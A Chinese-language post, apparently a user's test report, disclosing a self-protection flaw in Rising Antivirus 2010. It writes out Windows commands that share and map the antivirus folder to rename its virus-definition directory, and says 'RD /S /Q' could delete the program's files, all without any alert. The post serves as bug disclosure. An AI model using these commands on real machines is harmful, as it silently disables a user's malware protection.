瑞星2010版本第二阶段测试（二）
瑞星2010版本第二阶段测试（二）
瑞星自我保护的失误 --- 重大BUG
瑞星的自我保护真的无懈可击吗？现在我们不谈什么所谓的驱动级、底层对抗，接着往下看：
net share ris="c:\program files\rising\ris"
net use z: \\%computername%\ris
z:
ren def def1
net share ris /delete
net use x: /delete /y
这里算客气的了，仅仅是更改了瑞星病毒库目录名，说到这里，我不得不提出批评，我在第一阶段测试中就明确提到瑞星启动时必须做病毒库的校验，可是，很遗憾，依旧没有。瑞星监控的小伞依旧是绿色，可是此时的查杀率为0.
成功突破瑞星防御轻松修改（DEF文件夹被更名）
看到了吧，此时瑞星的防御仍有效
上面的测试中，完全可以用RD <DIR> /S /Q命令完成对瑞星全部文件的删除（除了使用中的文件），也可以十分容易的完成完成我写的第二阶段测试（一）里面的内容。瑞星被破坏但丝毫没任何报警。
用户系统信息：Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)
